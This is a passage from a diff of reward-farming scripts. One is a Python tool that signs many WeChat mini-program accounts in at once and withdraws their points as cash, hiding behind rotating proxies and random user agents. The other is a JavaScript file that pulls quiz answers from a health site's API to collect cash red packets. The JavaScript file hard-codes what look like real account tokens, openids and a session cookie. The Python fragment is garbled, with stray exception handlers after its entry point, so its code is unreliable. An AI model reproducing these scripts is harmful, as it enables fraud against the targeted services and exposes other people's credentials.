notify.send(title, content)
|
||||
print("✅ 通知已发送")
|
||||
except Exception as e:
|
||||
print(f"❌ 通知发送失败: {e}")
|
||||
|
||||
|
||||
# ====================================================================
|
||||
# 模块 2: 辅助函数模块
|
||||
# ====================================================================
|
||||
|
||||
# 全局通知消息列表
|
||||
NOTIFY_MESSAGES = []
|
||||
|
||||
|
||||
def disclaimer():
|
||||
"""打印免责声明"""
|
||||
print("=" * 50)
|
||||
print("本脚本仅用于学习和测试,请勿用于商业用途。")
|
||||
print("作者一对任何由于使用此脚本导致的任何问题负责。")
|
||||
print("=" * 50 + "\n")
|
||||
|
||||
|
||||
def read_file(file_prefix):
|
||||
"""读取 JSON 配置文件"""
|
||||
file_path = f"{file_prefix}.json"
|
||||
if os.path.exists(file_path):
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
return json.load(f)
|
||||
except (json.JSONDecodeError, IOError) as e:
|
||||
print(f"❌ 读取文件 {file_path} 失败: {e}")
|
||||
return {}
|
||||
return {}
|
||||
|
||||
|
||||
def save_file(data, file_prefix):
|
||||
"""保存数据到 JSON 文件"""
|
||||
file_path = f"{file_prefix}.json"
|
||||
try:
|
||||
with open(file_path, 'w', encoding='utf-8') as f:
|
||||
json.dump(data, f, ensure_ascii=False, indent=4)
|
||||
print(f"✅ 数据已保存到 {file_path}")
|
||||
except IOError as e:
|
||||
print(f"❌ 保存文件 {file_path} 失败: {e}")
|
||||
|
||||
|
||||
def generate_random_ua():
|
||||
"""生成随机 User-Agent"""
|
||||
try:
|
||||
ua = UserAgent()
|
||||
return ua.random
|
||||
except:
|
||||
ua_list = [
|
||||
'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1',
|
||||
'Mozilla/5.0 (Linux; Android 13; 2201123C Build/TKQ1.220829.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/117.0.0.0 Mobile Safari/537.36',
|
||||
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.43(0x18002b2b) NetType/WIFI Language/zh_CN'
|
||||
]
|
||||
return random.choice(ua_list)
|
||||
|
||||
|
||||
async def get_proxy(index, proxy_url):
|
||||
"""从代理API获取代理IP"""
|
||||
if not proxy_url:
|
||||
return None
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(proxy_url, timeout=10) as response:
|
||||
if response.status == 200:
|
||||
proxy_ip = await response.text()
|
||||
return f"http://{proxy_ip.strip()}"
|
||||
else:
|
||||
print(f"账号[{index + 1}] 获取代理失败,状态码: {response.status}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"账号[{index + 1}] 获取代理异常: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def format_date(dt_object):
|
||||
"""格式化日期为 YYYY-MM-DD"""
|
||||
return dt_object.strftime('%Y-%m-%d')
|
||||
|
||||
|
||||
def get_random(min_val, max_val):
|
||||
"""获取范围内的随机浮点数"""
|
||||
return random.uniform(min_val, max_val)
|
||||
|
||||
|
||||
def check_env(env_name):
|
||||
"""检查并分割环境变量"""
|
||||
env_var = os.getenv(env_name)
|
||||
if not env_var:
|
||||
print(f"❌ 未找到环境变量: {env_name}")
|
||||
return []
|
||||
cks = env_var.replace('&', '\n').replace('@', '\n').split('\n')
|
||||
return [ck.strip() for ck in cks if ck.strip()]
|
||||
|
||||
|
||||
async def request(session, options, proxy=None):
|
||||
"""发起异步HTTP请求"""
|
||||
method = options.get('method', 'GET').upper()
|
||||
url = options.get('url')
|
||||
headers = options.get('headers')
|
||||
data = options.get('data')
|
||||
|
||||
try:
|
||||
async with session.request(method, url, headers=headers, data=data, proxy=proxy,
|
||||
timeout=20) as response:
|
||||
response.raise_for_status()
|
||||
content_bytes = await response.read()
|
||||
return content_bytes.decode('utf-8')
|
||||
except Exception as e:
|
||||
raise IOError(f"请求失败: {e}") from e
|
||||
|
||||
|
||||
def get_message():
|
||||
"""获取所有收集到的通知消息"""
|
||||
return "".join(NOTIFY_MESSAGES)
|
||||
|
||||
|
||||
# ====================================================================
|
||||
# 模块 3: 主脚本逻辑
|
||||
# ====================================================================
|
||||
|
||||
# --- 配置区 ---
|
||||
PROXY = os.getenv("wqwl_daili", '')
|
||||
USE_PROXY = os.getenv("wqwl_useProxy", 'false').lower() == 'true'
|
||||
BFS = int(os.getenv("wqwl_bfs", 4))
|
||||
IS_NOTIFY = True
|
||||
CK_NAME = 'wqwl_ccy'
|
||||
NAME = '微信小程序冲刺鸭云打印'
|
||||
|
||||
|
||||
class Task:
|
||||
def __init__(self, ck, index, file_data):
|
||||
self.ck = ck
|
||||
self.index = index
|
||||
self.file_data = file_data
|
||||
self.remark = f"账号{index + 1}"
|
||||
self.token = ""
|
||||
self.baseUrl = 'https://cloudprint.chongci.shop'
|
||||
self.max_retries = 3
|
||||
self.retry_delay = 3
|
||||
self.points_rules = {'pointToMoneyRatio': 0.1}
|
||||
self.headers = {}
|
||||
self.proxy = None
|
||||
self.session = None
|
||||
|
||||
def send_message(self, message, is_push=False):
|
||||
"""记录并打印日志,根据is_push决定是否推送到通知"""
|
||||
log_message = f"账号[{self.index + 1}]({self.remark}): {message}"
|
||||
print(log_message)
|
||||
if IS_NOTIFY and is_push:
|
||||
NOTIFY_MESSAGES.append(log_message + "\n")
|
||||
|
||||
async def init(self):
|
||||
"""初始化任务,解析CK,设置UA和代理"""
|
||||
ck_parts = self.ck.split('#')
|
||||
if not ck_parts or not ck_parts[0]:
|
||||
self.send_message("❌ 环境变量有误,请检查", True)
|
||||
return False
|
||||
|
||||
self.token = ck_parts[0]
|
||||
self.remark = ck_parts[1] if len(ck_parts) > 1 else self.token[:8]
|
||||
|
||||
if self.remark not in self.file_data:
|
||||
self.file_data[self.remark] = {}
|
||||
|
||||
ua = self.file_data[self.remark].get('ua') or generate_random_ua()
|
||||
self.file_data[self.remark]['ua'] = ua
|
||||
self.send_message(f"🎲 使用UA: {ua}")
|
||||
|
||||
self.headers = {
|
||||
'Host': 'cloudprint.chongci.shop',
|
||||
'Connection': 'keep-alive',
|
||||
'xweb_xhr': '1', 'platform': 'MP-WEIXIN', 'User-Agent': ua,
|
||||
'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*',
|
||||
'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty',
|
||||
'Referer': 'https://servicewechat.com/wx7d1787ad17f2d932/19/page-frame.html',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9', 'Accept-Encoding': 'gzip, deflate'
|
||||
}
|
||||
|
||||
if PROXY and USE_PROXY:
|
||||
self.proxy = await get_proxy(self.index, PROXY)
|
||||
self.send_message(f"✅ 使用代理: {self.proxy}" if self.proxy else "⚠️ 获取代理失败,不使用代理")
|
||||
else:
|
||||
self.send_message("⚠️ 不使用代理")
|
||||
|
||||
return True
|
||||
|
||||
async def request_with_retry(self, options, retry_count=0):
|
||||
"""带重试机制的请求方法"""
|
||||
try:
|
||||
return await request(self.session, options, self.proxy)
|
||||
except Exception as e:
|
||||
self.send_message(f"🔐 请求发生错误: {e},正在重试...")
|
||||
if USE_PROXY and PROXY:
|
||||
self.proxy = await get_proxy(self.index, PROXY)
|
||||
self.send_message(f"✅ 代理已更新: {self.proxy}")
|
||||
|
||||
if retry_count < self.max_retries:
|
||||
delay = self.retry_delay * (retry_count + 1)
|
||||
self.send_message(f"🕒 {delay}s后重试...")
|
||||
await asyncio.sleep(delay)
|
||||
return await self.request_with_retry(options, retry_count + 1)
|
||||
|
||||
raise Exception(f"❌ 请求最终失败: {e}")
|
||||
|
||||
async def get_user_info(self):
|
||||
try:
|
||||
url = f"{self.baseUrl}/app/index.php?i=2&c=entry&m=ewei_shopv2&do=mobile&r=member&app=1&openid={self.token}"
|
||||
options = {'url': url, 'method': 'GET', 'headers': self.headers}
|
||||
res_str = await self.request_with_retry(options)
|
||||
res = json.loads(res_str)
|
||||
|
||||
if 'mobile' not in res or not res['mobile']:
|
||||
self.send_message(f"❌ 获取用户信息失败: {res.get('msg', '未知错误')}")
|
||||
return
|
||||
|
||||
points = float(res.get('credit1', 0))
|
||||
if points >= 1:
|
||||
self.send_message(f"🎉 积分{points}可以提现了,准备提现")
|
||||
await self.withdraw_points(points)
|
||||
await asyncio.sleep(2)
|
||||
res_str_after = await self.request_with_retry(options)
|
||||
res_after = json.loads(res_str_after)
|
||||
points = float(res_after.get('credit1', 0))
|
||||
else:
|
||||
self.send_message("⚠️ 积分不足以提现")
|
||||
|
||||
balance = float(res.get('credit2', 0))
|
||||
self.send_message(f"ℹ️ 用户积分: {points} ≈ {(points * 0.1):.2f}元 | 累计收益: {balance}元", True)
|
||||
|
||||
except Exception as e:
|
||||
self.send_message(f"❌ 获取用户信息请求失败: {e}")
|
||||
|
||||
async def withdraw_points(self, points):
|
||||
try:
|
||||
url = f"{self.baseUrl}/app/index.php?i=2&c=entry&m=ewei_shopv2&do=mobile&r=api.index.jf_exchange&app=1&openid={self.token}&points={points}"
|
||||
options = {'url': url, 'method': 'POST', 'headers': self.headers}
|
||||
res_str = await self.request_with_retry(options)
|
||||
|
||||
try:
|
||||
res = json.loads(res_str)
|
||||
if res.get('status') == 1 or res.get('success'):
|
||||
amount = float(points) * self.points_rules['pointToMoneyRatio']
|
||||
self.send_message(f"✅ 提现成功,到账金额: {amount:.2f}元", True)
|
||||
else:
|
||||
self.send_message(f"❌ 提现失败: {res.get('message', '系统提示失败')}")
|
||||
except json.JSONDecodeError:
|
||||
if '成功' in res_str:
|
||||
amount = float(points) * self.points_rules['pointToMoneyRatio']
|
||||
self.send_message(f"✅ 提现成功,到账金额: {amount:.2f}元", True)
|
||||
else:
|
||||
self.send_message(f"❌ 提现失败: 系统返回非预期结果: {res_str}")
|
||||
except Exception as e:
|
||||
self.send_message(f"❌ 提现过程异常: {e}")
|
||||
|
||||
async def check_sign_status(self):
|
||||
try:
|
||||
url = f"{self.baseUrl}/app/index.php?i=2&c=entry&m=ewei_shopv2&do=mobile&r=sign&app=1&openid={self.token}"
|
||||
options = {'url': url, 'method': 'GET', 'headers': self.headers}
|
||||
res_str = await self.request_with_retry(options)
|
||||
today_str = format_date(datetime.now())
|
||||
return f'"date":"{today_str}"' in res_str
|
||||
except Exception as e:
|
||||
self.send_message(f"❌ 检查签到状态失败: {e}")
|
||||
return False
|
||||
|
||||
async def sign_in(self):
|
||||
if await self.check_sign_status():
|
||||
self.send_message("✅ 今日已完成签到")
|
||||
return
|
||||
|
||||
try:
|
||||
url = f"{self.baseUrl}/app/index.php?i=2&c=entry&m=ewei_shopv2&do=mobile&r=sign.dosign&app=1&openid={self.token}"
|
||||
options = {'url': url, 'method': 'GET', 'headers': self.headers}
|
||||
res_str = await self.request_with_retry(options)
|
||||
res = json.loads(res_str)
|
||||
|
||||
if res.get('status') == 1:
|
||||
self.send_message("✅ 签到成功")
|
||||
elif res.get('status') == 2:
|
||||
self.send_message("❌ 签到失败,今日已经签到过啦")
|
||||
else:
|
||||
self.send_message(f"❌ 签到失败,未知错误: {res_str}")
|
||||
except Exception as e:
|
||||
self.send_message(f"❌ 签到请求失败: {e}")
|
||||
|
||||
async def run(self):
|
||||
"""任务主流程"""
|
||||
async with aiohttp.ClientSession() as session:
|
||||
self.session = session
|
||||
if not await self.init():
|
||||
return
|
||||
await asyncio.sleep(get_random(3, 5))
|
||||
await self.sign_in()
|
||||
await asyncio.sleep(get_random(3, 5))
|
||||
await self.get_user_info()
|
||||
|
||||
|
||||
async def main():
|
||||
"""主异步函数"""
|
||||
disclaimer()
|
||||
|
||||
file_data = read_file('ccy')
|
||||
tokens = check_env(CK_NAME)
|
||||
|
||||
if not tokens:
|
||||
print(f"未找到任何账号,请检查环境变量 {CK_NAME}")
|
||||
if IS_NOTIFY:
|
||||
send_notify(f"{NAME} 通知", "未找到任何账号,请检查环境变量")
|
||||
return
|
||||
|
||||
print(f"共找到 {len(tokens)} 个账号")
|
||||
|
||||
for i in range(0, len(tokens), BFS):
|
||||
batch = tokens[i:i + BFS]
|
||||
print(f"\n--- 开始执行第 {i // BFS + 1} 批任务 ({i + 1}-{i + len(batch)}) ---")
|
||||
|
||||
tasks_to_run = [Task(token, i + j, file_data).run() for j, token in enumerate(batch)]
|
||||
results = await asyncio.gather(*tasks_to_run, return_exceptions=True)
|
||||
|
||||
for j, res in enumerate(results):
|
||||
if isinstance(res, Exception):
|
||||
print(f"账号 [{i + j + 1}] 执行时发生未捕获的异常: {res}")
|
||||
|
||||
if i + BFS < len(tokens):
|
||||
sleep_time = get_random(3, 5)
|
||||
print(f"--- 第 {i // BFS + 1} 批任务结束,休眠 {sleep_time:.2f} 秒 ---")
|
||||
await asyncio.sleep(sleep_time)
|
||||
|
||||
save_file(file_data, 'ccy')
|
||||
|
||||
print(f"\n{NAME} 全部任务已完成!")
|
||||
|
||||
final_message = get_message()
|
||||
if final_message and IS_NOTIFY:
|
||||
# 直接调用send_notify发送最终通知
|
||||
send_notify(f"{NAME} 通知", final_message)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
# print("一致:本地代码与云端announcement相同,开始执行脚本...")
|
||||
asyncio.run(main())
|
||||
except Exception as e:
|
||||
print(f"❌ 执行过程中发生致命错误: {e}")
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"===== 公告信息 =====")
|
||||
print(f"状态:获取失败")
|
||||
print(f"消息:获取云端数据失败:{e}\n")
|
||||
except json.JSONDecodeError:
|
||||
print(f"===== 公告信息 =====")
|
||||
print(f"状态:解析失败")
|
||||
print(f"消息:解析云端JSON失败\n")
|
||||
except Exception as e:
|
||||
print(f"===== 公告信息 =====")
|
||||
print(f"状态:提取失败")
|
||||
print(f"消息:发生未知错误:{e}\n")
|
||||
870
现金毛/大为健康.js
Normal file
870
现金毛/大为健康.js
Normal file
@@ -0,0 +1,870 @@
|
||||
/*
|
||||
* @Author: 梁 && fang_liang_liang@foxmail.com
|
||||
* @Date: 2024-11-20 09:44:59
|
||||
* @Description:
|
||||
* @FilePath: \薅羊毛\整理\大为健康类\大为健康-闲鱼_流年忘返.js
|
||||
* @LastEditTime: 2024-11-20 14:30:05
|
||||
* @LastEditors: 梁 && fang_liang_liang@foxmail.com
|
||||
*/
|
||||
|
||||
let uid = ""
|
||||
let Authorization = ""
|
||||
let openid = "odrFI6snMa2Hz5cJRFlbPL8UGSDs";
|
||||
let userList = [
|
||||
{
|
||||
"uid": "2642697",
|
||||
"Authorization": "4aad85e5dee2a48224c88ab1502e2fdb",
|
||||
"baseUrl": "http://zj.zjdtxt.com",
|
||||
"openid": "oIlr36POgYKS11GxIotZ65B4wBxE",
|
||||
"n": -1
|
||||
},
|
||||
{
|
||||
"uid": "2642693",
|
||||
"Authorization": "d620c2753b3f36d54aa961511af51626",
|
||||
"baseUrl": "http://zj.zjdtxt.com",
|
||||
"openid": "oIlr36GFMyn0GAj5om8_4XvpGfuM",
|
||||
// "n": 1
|
||||
},
|
||||
{
|
||||
"uid": "2642699",
|
||||
"Authorization": "2227d84e69b17eaea5705c0cbed2b226",
|
||||
"baseUrl": "http://zj.zjdtxt.com",
|
||||
"openid": "oIlr36HIfmXKr6Tqtvng8heig4cg",
|
||||
"n": -2
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
]
|
||||
|
||||
|
||||
//1-101
|
||||
var ids = [
|
||||
|
||||
|
||||
|
||||
"1648253549",
|
||||
"1648345794",
|
||||
"1648345844",
|
||||
"1648345898",
|
||||
"1648345948",
|
||||
"1648601047",
|
||||
"1648601104",
|
||||
"1648690708",
|
||||
"1648690760",
|
||||
"1648773869",
|
||||
"1648773920",
|
||||
"1648864166",
|
||||
"1648864224",
|
||||
"1648948085",
|
||||
"1648948298",
|
||||
"1649036286",
|
||||
"1649036333",
|
||||
"1649122153",
|
||||
"1649122201",
|
||||
"1649208292",
|
||||
"1649208346",
|
||||
"1649293148",
|
||||
"1649293200",
|
||||
"1649381557",
|
||||
"1649381603",
|
||||
"1649466389",
|
||||
"1649466479",
|
||||
"1649554232",
|
||||
"1649554303",
|
||||
"1649643342",
|
||||
"1649644432",
|
||||
"1649726396",
|
||||
"1649726457",
|
||||
"1649813326",
|
||||
"1649813374",
|
||||
"1649900408",
|
||||
"1649900458",
|
||||
"1649900513",
|
||||
"1649900570",
|
||||
"1650070603",
|
||||
"1650070720",
|
||||
"1650156593",
|
||||
"1650156645",
|
||||
"1650244102",
|
||||
"1650244165",
|
||||
"1650329764",
|
||||
"1650329833",
|
||||
"1650419820",
|
||||
"1650419872",
|
||||
"1650506926",
|
||||
"1650506977",
|
||||
"1650507028",
|
||||
"1650631610",
|
||||
"1650768071",
|
||||
"1650768127",
|
||||
"1650852250",
|
||||
"1650852303",
|
||||
"1650852348",
|
||||
"1650852406",
|
||||
"1651030589",
|
||||
"1651030679",
|
||||
"1651030731",
|
||||
"1651030785",
|
||||
"1651030838",
|
||||
"1651279411",
|
||||
"1651279460",
|
||||
"1651279506",
|
||||
"1651279557",
|
||||
"1651279644",
|
||||
"1651366150",
|
||||
"1651366201",
|
||||
"1651366333",
|
||||
"1651572539",
|
||||
"1651621672",
|
||||
"1651621726",
|
||||
"1651621775",
|
||||
// "1651621841",
|
||||
// "1651621900",
|
||||
// "1651621946",
|
||||
// "1651793454",
|
||||
// "1683787666",
|
||||
// "1683787955",
|
||||
// "1683788198",
|
||||
"1651621995",
|
||||
"1683792536",
|
||||
"1683792594",
|
||||
"1683792654",
|
||||
"1651793454",
|
||||
"1651793506",
|
||||
"1651793554",
|
||||
|
||||
|
||||
"1651793606",
|
||||
"1652135053",
|
||||
"1652135102",
|
||||
"1652135175",
|
||||
"1652135226",
|
||||
"1652135281",
|
||||
"1652135364",
|
||||
"1652135427",
|
||||
"1652135477",
|
||||
"1652135538",
|
||||
"1652135586",
|
||||
"1652135639",
|
||||
"1652135717",
|
||||
// "1683794533",
|
||||
// "1683795077",
|
||||
"1652686593",
|
||||
"1652772165",
|
||||
|
||||
"1652857801",
|
||||
"1651366202",
|
||||
"1649908355",
|
||||
"1648864167",
|
||||
"1648864168",
|
||||
"1658733397",
|
||||
"1658977296",
|
||||
"1658976306",
|
||||
"1686276155",
|
||||
"1686276302",
|
||||
"1686276388",
|
||||
"1652946870",
|
||||
"1686276615",
|
||||
"1653033427",
|
||||
"1653120639",
|
||||
"1653205253",
|
||||
]
|
||||
|
||||
|
||||
|
||||
const $ = new Env('大为健康');
|
||||
const axios = require('axios');
|
||||
const qs = require('qs');
|
||||
const { json } = require("express");
|
||||
let loginstatus = 0
|
||||
let status = 0
|
||||
let count_money_num = ``
|
||||
let baseUrl = ""
|
||||
var headers = {
|
||||
'Authorization': Authorization,
|
||||
'User-Agent': 'Mozilla/5.0 (Linux; Android 12; 22041211AC Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5317 MMWEBSDK/20230805 MMWEBID/2593 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Referer': 'http://hb3.hbdtxt.com/',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
|
||||
'Cookie': 's342b0066=tme797db1if1i4qlq1i0d7dv13'
|
||||
}
|
||||
let nickname = ""
|
||||
//个人信息 期数查询
|
||||
async function login() {
|
||||
// huodong_id=1648253549&store_id=296&noneedlogin=0&openid=oy-5j6tgNZwFf-WQkc3RD39ihp-Y&api_type=h5&uid=2079189
|
||||
let data = qs.stringify({
|
||||
"huodong_id": 1648253549,
|
||||
"store_id": 296,
|
||||
"noneedlogin": 0,
|
||||
"openid": openid,
|
||||
'api_type': 'h5',
|
||||
'uid': uid
|
||||
})
|
||||
let config = {
|
||||
url: baseUrl + '/api/index/index',
|
||||
method: 'post',
|
||||
headers: headers,
|
||||
data: data
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
const response = await axios(config);
|
||||
let response_data = response.data
|
||||
//console.log(response_data)
|
||||
let code = response_data.code
|
||||
if (code == 1) {
|
||||
nickname = response_data.user.nickname //昵称
|
||||
count_money_num = response_data.user.count_money_num //答题期数
|
||||
count_money = response_data.user.count_money / 100 //累计金额
|
||||
console.log(`登录成功!昵称:` + nickname + ` 答题期数:` + count_money_num + ` 累计获得红包:` + count_money + `元`)
|
||||
loginstatus = 1
|
||||
} else {
|
||||
console.log(uid + ` 登录失败!原因:` + JSON.stringify(response_data))
|
||||
}
|
||||
|
||||
return count_money_num
|
||||
} catch (error) {
|
||||
console.error(error);
|
||||
}
|
||||
}
|
||||
|
||||
//题目
|
||||
async function hh(huodong_id) {
|
||||
let data = qs.stringify({
|
||||
'huodong_id': huodong_id,
|
||||
"store_id": 296,
|
||||
"noneedlogin": 0,
|
||||
"openid": openid,
|
||||
'api_type': 'h5',
|
||||
'uid': uid
|
||||
})
|
||||
let config = {
|
||||
url: baseUrl + '/api/index/index',
|
||||
method: 'post',
|
||||
headers: headers,
|
||||
data: data
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await axios(config);
|
||||
let response_data = response.data
|
||||
// console.log(response_data)
|
||||
let code = response_data.code
|
||||
if (response_data.huodong == null) {
|
||||
console.log(huodong_id)
|
||||
}
|
||||
let share_title = response_data.huodong.share_title
|
||||
console.log(huodong_id + ":" + share_title)
|
||||
// return
|
||||
if (code == 777) {
|
||||
console.log(response_data)
|
||||
}
|
||||
let msg = response_data.msg
|
||||
let canyu_status = response_data.canyu_status
|
||||
let is_can = response_data.is_can
|
||||
let huodong = response_data.huodong
|
||||
let wentilist = response_data.wentilist
|
||||
let modified_wentilist = []
|
||||
for (let question of wentilist) {
|
||||
let daan = JSON.parse(question["daan"])[0];
|
||||
for (let option of question["xuanxiang"]) {
|
||||
if (option["xuhao"] === daan) {
|
||||
option["xuanzhong"] = 1;
|
||||
} else {
|
||||
option["xuanzhong"] = 0;
|
||||
}
|
||||
}
|
||||
modified_wentilist.push(question)
|
||||
//console.log(modified_wentilist)
|
||||
}
|
||||
|
||||
return modified_wentilist
|
||||
} catch (error) {
|
||||
console.error(error);
|
||||
}
|
||||
}
|
||||
|
||||
//答题
|
||||
async function dt(a, huodong_id) {
|
||||
|
||||
var data = qs.stringify({
|
||||
'wentilist': a,
|
||||
'huodong_id': huodong_id,
|
||||
'uuid': uid,
|
||||
"openid": openid,
|
||||
'api_type': 'h5',
|
||||
'uid': uid
|
||||
});
|
||||
var config = {
|
||||
method: 'post',
|
||||
url: baseUrl + '/api/index/dati',
|
||||
headers: headers,
|
||||
data: data
|
||||
};
|
||||
|
||||
axios(config)
|
||||
.then(function (response) {
|
||||
// console.log(JSON.stringify(response.data));
|
||||
if (response.data.msg == "今日可领取红包次数已达上限!") {
|
||||
//{"code":0,"msg":"今日可领取红包次数已达上限!"}
|
||||
console.log(`${nickname}:今日可领取红包次数已达上限`)
|
||||
status = 1
|
||||
return
|
||||
} else if (response.data.msg == "答题成功") {
|
||||
console.log(`${nickname}:答题成功,获得红包:` + response.data.money + `元,故事id:${huodong_id}`)
|
||||
} else {
|
||||
console.log(`${nickname}:` + JSON.stringify(response.data));
|
||||
}
|
||||
|
||||
})
|
||||
.catch(function (error) {
|
||||
console.log(error);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
async function main() {
|
||||
init()
|
||||
|
||||
await login()
|
||||
if (loginstatus === 1) {
|
||||
// console.log(`===========开始答题===========`)
|
||||
let index = count_money_num
|
||||
index = (index * 1) - (n * 1 + 1)
|
||||
console.log('index: ', index);
|
||||
for (; index < ids.length; index++) {
|
||||
// await $.wait(5 * 1000);
|
||||
let aa = await hh(ids[index])
|
||||
return
|
||||
// await $.wait(5 * 1000); //
|
||||
await dt(JSON.stringify(aa), ids[index])
|
||||
// await $.wait(5 * 1000);
|
||||
return
|
||||
// if (status === 1) {
|
||||
// userList.splice(currentIndex, 1)
|
||||
// return;
|
||||
// }
|
||||
}
|
||||
} else {
|
||||
// userList.splice(currentIndex, 1)
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
function init() {
|
||||
loginstatus = 0
|
||||
status = 0
|
||||
count_money_num = ``
|
||||
headers = {
|
||||
'Authorization': Authorization,
|
||||
'User-Agent': 'Mozilla/5.0 (Linux; Android 12; 22041211AC Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5317 MMWEBSDK/20230805 MMWEBID/2593 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Referer': 'http://hb3.hbdtxt.com/',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
|
||||
'Cookie': 's342b0066=tme797db1if1i4qlq1i0d7dv13'
|
||||
}
|
||||
}
|
||||
// 只跑一个
|
||||
async function runOne(id) {
|
||||
currentIndex = 0;
|
||||
while (currentIndex < userList.length) {
|
||||
uid = userList[currentIndex].uid
|
||||
Authorization = userList[currentIndex].Authorization
|
||||
baseUrl = userList[currentIndex].baseUrl ?? "https://xb2.xbdtxt.com"
|
||||
openid = userList[currentIndex].openid
|
||||
init()
|
||||
await login()
|
||||
// await $.wait(30 * 1000);
|
||||
let aa = await hh(id)
|
||||
// return
|
||||
// await $.wait(30 * 1000); //
|
||||
await dt(JSON.stringify(aa), id)
|
||||
// await $.wait(30 * 1000);
|
||||
currentIndex++
|
||||
}
|
||||
}
|
||||
|
||||
// "1648253549",
|
||||
// "1648345794",
|
||||
// "1648345844",
|
||||
// "1648345898",
|
||||
// "1648345948",
|
||||
// "1648601047",
|
||||
// "1648601104",
|
||||
// "1648690708",
|
||||
// "1648690760",
|
||||
// "1648773869",
|
||||
|
||||
// 1652135427:李盛学人生故事第91期
|
||||
// 登录成功!昵称:随心 答题期数:11 累计获得红包:8.69元
|
||||
// 1652135477:李盛学人生故事第92期
|
||||
|
||||
// (async ()=>{
|
||||
// for(let id of ids){
|
||||
// await runOne(id)
|
||||
// }
|
||||
// })()
|
||||
//1648948298,1649036286,1649036333,1649122153,1649122201,1649208292
|
||||
// ids = [1648773920, 1648864166, 1648864224, 1648948085, 1648948298]
|
||||
|
||||
// runOne(ids[ids.length - 1])
|
||||
|
||||
|
||||
// 1648253549
|
||||
// let currentIndex = 0;
|
||||
// (async () => {
|
||||
// while (userList.length > 0) {
|
||||
// currentIndex = currentIndex % userList.length
|
||||
// uid = userList[currentIndex].uid
|
||||
// Authorization = userList[currentIndex].Authorization
|
||||
// let time = new Date().getTime()
|
||||
// let diff = userList[currentIndex].date + 1000 * 60 * 45 - time
|
||||
// if (diff > 0) {
|
||||
// await $.wait(diff)
|
||||
// }
|
||||
|
||||
// await main()
|
||||
// userList[currentIndex].date = new Date().getTime()
|
||||
// currentIndex++
|
||||
// }
|
||||
// })()
|
||||
let n = null;
|
||||
(async () => {
|
||||
for (let user of userList) {
|
||||
uid = user.uid
|
||||
Authorization = user.Authorization
|
||||
baseUrl = user.baseUrl ?? "https://xb2.xbdtxt.com"
|
||||
openid = user.openid
|
||||
n = user.n ?? -1
|
||||
// https://xb2.xbdtxt.com
|
||||
|
||||
await main()
|
||||
await sheep(5)
|
||||
}
|
||||
})()
|
||||
|
||||
function sheep(n) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => {
|
||||
resolve()
|
||||
}, n * 1000)
|
||||
})
|
||||
|
||||
}
|
||||
// 没有执行过
|
||||
// let arr = [1652135427, 1650244102, 1651621900, 1648601104, 1648690708, 1649466389, 1649900570, 1649208346, 1649036333, 1651793454, 1650156593, 1651279411, 1652135477, 1651621946, 1651621948, 1651030589, 1650244165, 1648690760, 1648948298, 1650070603, 1651793506, 1651279460, 1683794533, 1650156645, 1651621995, 1650419820, 1648253549, 1649466479, 1652135538, 1683795077, 1652135053, 1651793554, 1651279506, 1651030679, 1650419872, 1652135586, 1650329764, 1650506926, 1683787955, 1649381557, 1652135102, 1650070720, 1648345794, 1651279557, 1651793606, 1650768071, 1651030731, 1652135639, 1650506977, 1649381603, 1650329833, 1648773869, 1648345844, 1650768127, 1651030785, 1651366150, 1652135175, 1650507028, 1651279644, 1648773920, 1652135717, 1651621672, 1648345898, 1651030838, 1649554232, 1651366201, 1652135226, 1651572539, 1649813326, 1649643342, 1649293148, 1648345948, 1651621726, 1649122153, 1652135281, 1648948085, 1649900408, 1649813374, 1649554303, 1651621775, 1649293200, 1649644432, 1683787666, 1649122201, 1650852250, 1648782240, 1683788198, 1648864166, 1649900458, 1650631610, 1649726396, 1651366333, 1652135364, 1652135366, 1650852303, 1651621841, 1648601047, 1648864224, 1649900513, 1649208292, 1649726457, 1650852348, 1649036286, 1649908355, 1648864167,
|
||||
// 1648864168, 1648253492, 1652686593, 1652772165, 1652857801, 1652946870, 1658976306, 1660278818, 1653033427,
|
||||
// 1653120639, 1653205253, 1653462997,
|
||||
// 1653377016, 1653289687, 1653550213,
|
||||
// 1653636769, 1684131759, 1684131980,
|
||||
// 1684132071, 1684132158, 1684132221,
|
||||
